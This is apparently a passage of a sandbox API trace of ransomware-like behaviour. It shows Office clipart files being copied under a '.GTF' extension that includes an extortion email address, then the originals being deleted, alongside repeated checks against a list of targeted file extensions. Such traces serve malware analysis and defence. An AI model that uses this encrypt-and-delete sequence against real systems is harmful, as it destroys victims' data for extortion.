	[0086.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68
	[0086.875] lstrlenW (lpString=".jpg") returned 4
	[0086.875] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.875] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0086.875] lstrlenW (lpString="EN00006_.WMF") returned 12
	[0086.875] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00006_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0086.879] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=13936) returned 1
	[0086.880] CloseHandle (hObject=0x378) returned 1
	[0086.880] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00006_.wmf")) returned 0x220
	[0086.880] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00006_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0086.880] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00006_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0086.880] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.880] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.880] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00006_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0086.881] GetLastError () returned 0x0
	[0086.881] ReadFile (in: hFile=0x378, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x3670, lpOverlapped=0x0) returned 1
	[0086.889] WriteFile (in: hFile=0x35c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x3680, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x3680, lpOverlapped=0x0) returned 1
	[0086.890] ReadFile (in: hFile=0x378, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0086.890] WriteFile (in: hFile=0x35c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xec, lpOverlapped=0x0) returned 1
	[0086.890] SetEndOfFile (hFile=0x35c) returned 1
	[0086.890] CloseHandle (hObject=0x35c) returned 1
	[0086.891] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.891] SetEndOfFile (hFile=0x378) returned 1
	[0086.891] CloseHandle (hObject=0x378) returned 1
	[0086.892] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0086.892] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00006_.wmf")) returned 1
	[0086.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68
	[0086.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68
	[0086.892] lstrlenW (lpString=".doc") returned 4
	[0086.892] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.892] lstrlenW (lpString=".docx") returned 5
	[0086.892] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.892] lstrlenW (lpString=".pdf") returned 4
	[0086.892] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.892] lstrlenW (lpString=".xls") returned 4
	[0086.892] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.892] lstrlenW (lpString=".xlsx") returned 5
	[0086.892] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.892] lstrlenW (lpString=".ppt") returned 4
	[0086.892] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68
	[0086.892] lstrlenW (lpString=".zip") returned 4
	[0086.892] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.892] lstrlenW (lpString=".rar") returned 4
	[0086.892] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.892] lstrlenW (lpString=".bz2") returned 4
	[0086.892] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.892] lstrlenW (lpString=".7z") returned 3
	[0086.893] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68
	[0086.893] lstrlenW (lpString=".dbf") returned 4
	[0086.893] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68
	[0086.893] lstrlenW (lpString=".1cd") returned 4
	[0086.893] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68
	[0086.893] lstrlenW (lpString=".jpg") returned 4
	[0086.893] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68
	[0086.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68
	[0086.893] lstrlenW (lpString=".doc") returned 4
	[0086.893] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.893] lstrlenW (lpString=".docx") returned 5
	[0086.893] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.893] lstrlenW (lpString=".pdf") returned 4
	[0086.893] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.893] lstrlenW (lpString=".xls") returned 4
	[0086.893] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.893] lstrlenW (lpString=".xlsx") returned 5
	[0086.893] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.893] lstrlenW (lpString=".ppt") returned 4
	[0086.893] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68
	[0086.893] lstrlenW (lpString=".zip") returned 4
	[0086.893] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.893] lstrlenW (lpString=".rar") returned 4
	[0086.893] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.893] lstrlenW (lpString=".bz2") returned 4
	[0086.893] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.893] lstrlenW (lpString=".7z") returned 3
	[0086.893] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68
	[0086.893] lstrlenW (lpString=".dbf") returned 4
	[0086.893] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68
	[0086.894] lstrlenW (lpString=".1cd") returned 4
	[0086.894] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68
	[0086.894] lstrlenW (lpString=".jpg") returned 4
	[0086.894] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.894] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0086.894] lstrlenW (lpString="EN00222_.WMF") returned 12
	[0086.894] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00222_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0086.894] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=12356) returned 1
	[0086.894] CloseHandle (hObject=0x378) returned 1
	[0086.894] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00222_.wmf")) returned 0x220
	[0086.894] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00222_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0086.894] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00222_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0086.895] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.895] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.895] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00222_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0086.895] GetLastError () returned 0x0
	[0086.895] ReadFile (in: hFile=0x378, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x3044, lpOverlapped=0x0) returned 1
	[0086.906] WriteFile (in: hFile=0x35c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x3050, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x3050, lpOverlapped=0x0) returned 1
	[0086.907] ReadFile (in: hFile=0x378, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0086.907] WriteFile (in: hFile=0x35c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xec, lpOverlapped=0x0) returned 1
	[0086.907] SetEndOfFile (hFile=0x35c) returned 1
	[0086.907] CloseHandle (hObject=0x35c) returned 1
	[0086.907] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.907] SetEndOfFile (hFile=0x378) returned 1
	[0086.908] CloseHandle (hObject=0x378) returned 1
	[0086.908] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0086.908] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00222_.wmf")) returned 1
	[0086.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68
	[0086.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68
	[0086.909] lstrlenW (lpString=".doc") returned 4
	[0086.909] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.909] lstrlenW (lpString=".docx") returned 5
	[0086.909] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.909] lstrlenW (lpString=".pdf") returned 4
	[0086.909] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.909] lstrlenW (lpString=".xls") returned 4
	[0086.909] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.909] lstrlenW (lpString=".xlsx") returned 5
	[0086.909] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.909] lstrlenW (lpString=".ppt") returned 4
	[0086.909] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68
	[0086.909] lstrlenW (lpString=".zip") returned 4
	[0086.909] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.909] lstrlenW (lpString=".rar") returned 4
	[0086.909] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.909] lstrlenW (lpString=".bz2") returned 4
	[0086.909] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.909] lstrlenW (lpString=".7z") returned 3
	[0086.909] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68
	[0086.909] lstrlenW (lpString=".dbf") returned 4
	[0086.909] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68
	[0086.909] lstrlenW (lpString=".1cd") returned 4
	[0086.909] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68
	[0086.909] lstrlenW (lpString=".jpg") returned 4
	[0086.909] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68
	[0086.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68
	[0086.910] lstrlenW (lpString=".doc") returned 4
	[0086.910] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.910] lstrlenW (lpString=".docx") returned 5
	[0086.910] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.910] lstrlenW (lpString=".pdf") returned 4
	[0086.910] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.910] lstrlenW (lpString=".xls") returned 4
	[0086.910] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.910] lstrlenW (lpString=".xlsx") returned 5
	[0086.910] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.910] lstrlenW (lpString=".ppt") returned 4
	[0086.910] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68
	[0086.910] lstrlenW (lpString=".zip") returned 4
	[0086.910] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.910] lstrlenW (lpString=".rar") returned 4
	[0086.910] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.910] lstrlenW (lpString=".bz2") returned 4
	[0086.910] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.910] lstrlenW (lpString=".7z") returned 3
	[0086.910] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68
	[0086.910] lstrlenW (lpString=".dbf") returned 4
	[0086.910] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68
	[0086.910] lstrlenW (lpString=".1cd") returned 4
	[0086.910] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68
	[0086.910] lstrlenW (lpString=".jpg") returned 4
	[0086.910] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.910] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0086.910] lstrlenW (lpString="EN00319_.WMF") returned 12
	[0086.911] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00319_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0086.911] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=2280) returned 1
	[0086.911] CloseHandle (hObject=0x378) returned 1
	[0086.911] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00319_.wmf")) returned 0x220
	[0086.911] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00319_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0086.911] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00319_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0086.911] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.911] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.911] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00319_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0086.912] GetLastError () returned 0x0
	[0086.912] ReadFile (in: hFile=0x378, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x8e8, lpOverlapped=0x0) returned 1
	[0086.919] WriteFile (in: hFile=0x35c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x8f0, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x8f0, lpOverlapped=0x0) returned 1
	[0086.919] ReadFile (in: hFile=0x378, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0086.919] WriteFile (in: hFile=0x35c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xec, lpOverlapped=0x0) returned 1
	[0086.920] SetEndOfFile (hFile=0x35c) returned 1
	[0086.920] CloseHandle (hObject=0x35c) returned 1
	[0086.920] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.920] SetEndOfFile (hFile=0x378) returned 1
	[0086.921] CloseHandle (hObject=0x378) returned 1
	[0086.921] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0086.921] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00319_.wmf")) returned 1
	[0086.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68
	[0086.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68
	[0086.921] lstrlenW (lpString=".doc") returned 4
	[0086.921] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.921] lstrlenW (lpString=".docx") returned 5
	[0086.921] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.921] lstrlenW (lpString=".pdf") returned 4
	[0086.921] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.921] lstrlenW (lpString=".xls") returned 4
	[0086.922] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.922] lstrlenW (lpString=".xlsx") returned 5
	[0086.922] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.922] lstrlenW (lpString=".ppt") returned 4
	[0086.922] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68
	[0086.922] lstrlenW (lpString=".zip") returned 4
	[0086.922] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.922] lstrlenW (lpString=".rar") returned 4
	[0086.922] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.922] lstrlenW (lpString=".bz2") returned 4
	[0086.922] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.922] lstrlenW (lpString=".7z") returned 3
	[0086.922] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68
	[0086.922] lstrlenW (lpString=".dbf") returned 4
	[0086.922] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68
	[0086.922] lstrlenW (lpString=".1cd") returned 4
	[0086.922] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68
	[0086.922] lstrlenW (lpString=".jpg") returned 4
	[0086.922] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68
	[0086.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68
	[0086.922] lstrlenW (lpString=".doc") returned 4
	[0086.922] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.922] lstrlenW (lpString=".docx") returned 5
	[0086.922] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.922] lstrlenW (lpString=".pdf") returned 4
	[0086.922] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.922] lstrlenW (lpString=".xls") returned 4
	[0086.922] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.922] lstrlenW (lpString=".xlsx") returned 5
	[0086.923] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.923] lstrlenW (lpString=".ppt") returned 4
	[0086.923] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68
	[0086.923] lstrlenW (lpString=".zip") returned 4
	[0086.923] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.923] lstrlenW (lpString=".rar") returned 4
	[0086.923] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.923] lstrlenW (lpString=".bz2") returned 4
	[0086.923] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.923] lstrlenW (lpString=".7z") returned 3
	[0086.923] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68
	[0086.923] lstrlenW (lpString=".dbf") returned 4
	[0086.923] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68
